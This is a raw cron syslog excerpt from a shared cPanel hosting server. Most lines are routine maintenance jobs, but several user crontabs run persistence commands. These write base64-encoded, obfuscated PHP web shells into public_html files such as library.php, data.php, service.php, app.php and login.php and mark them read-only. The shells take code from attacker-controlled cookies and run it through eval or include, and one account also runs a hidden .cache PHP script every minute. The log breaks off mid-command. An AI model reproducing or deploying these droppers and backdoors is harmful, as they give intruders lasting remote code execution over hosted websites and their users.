Jun  7 14:00:02 medusa CROND[23219]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cleanuserphpsessions.cronlock /usr/share/cagefs/clean_user_php_sessions)
Jun  7 14:00:02 medusa CROND[23223]: (root) CMD (   bash -c "sleep $((RANDOM % 1800))" ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Jun  7 14:00:02 medusa CROND[23212]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Jun  7 14:00:02 medusa CROND[23214]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Jun  7 14:00:02 medusa CROND[23224]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Jun  7 14:00:02 medusa CROND[23217]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 14:00:02 medusa CROND[23222]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 14:00:02 medusa CROND[23221]: (root) CMD (/usr/bin/flock -n /var/run/cpapi_cache_upd_lock /opt/cloudlinux/venv/bin/python3 -c "from clcommon.cpapi import invalidate_cpapi_cache; invalidate_cpapi_cache()" &> /dev/null)
Jun  7 14:00:02 medusa CROND[23232]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:00:02 medusa CROND[23236]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:00:02 medusa CROND[23238]: (artconc) CMD (/usr/local/bin/php /home13/artconc/public_html/apis/monedas/cron.php >/dev/null 2>&1)
Jun  7 14:00:02 medusa CROND[23237]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Jun  7 14:00:02 medusa CROND[23211]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Jun  7 14:01:01 medusa CROND[25003]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Jun  7 14:01:02 medusa CROND[25011]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 14:01:02 medusa CROND[25012]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:01:02 medusa CROND[25013]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:01:02 medusa CROND[25014]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:01:02 medusa CROND[25015]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 14:01:02 medusa CROND[25016]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Jun  7 14:01:02 medusa CROND[25017]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 14:01:02 medusa CROND[25027]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:01:02 medusa CROND[25029]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 14:01:02 medusa CROND[25028]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 14:01:02 medusa CROND[25030]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 14:01:02 medusa CROND[25031]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 14:01:02 medusa CROND[25032]: (root) CMD (run-parts /etc/cron.hourly)
Jun  7 14:01:02 medusa run-parts(/etc/cron.hourly)[25032]: starting 0anacron
Jun  7 14:01:02 medusa run-parts(/etc/cron.hourly)[25125]: finished 0anacron
Jun  7 14:02:01 medusa CROND[26952]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Jun  7 14:02:01 medusa CROND[26953]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 14:02:01 medusa CROND[26954]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 14:02:01 medusa CROND[26951]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 14:02:01 medusa CROND[26955]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 14:02:01 medusa CROND[26956]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 14:02:01 medusa CROND[26957]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:02:01 medusa CROND[26961]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 14:02:01 medusa CROND[26962]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:02:01 medusa CROND[26964]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo 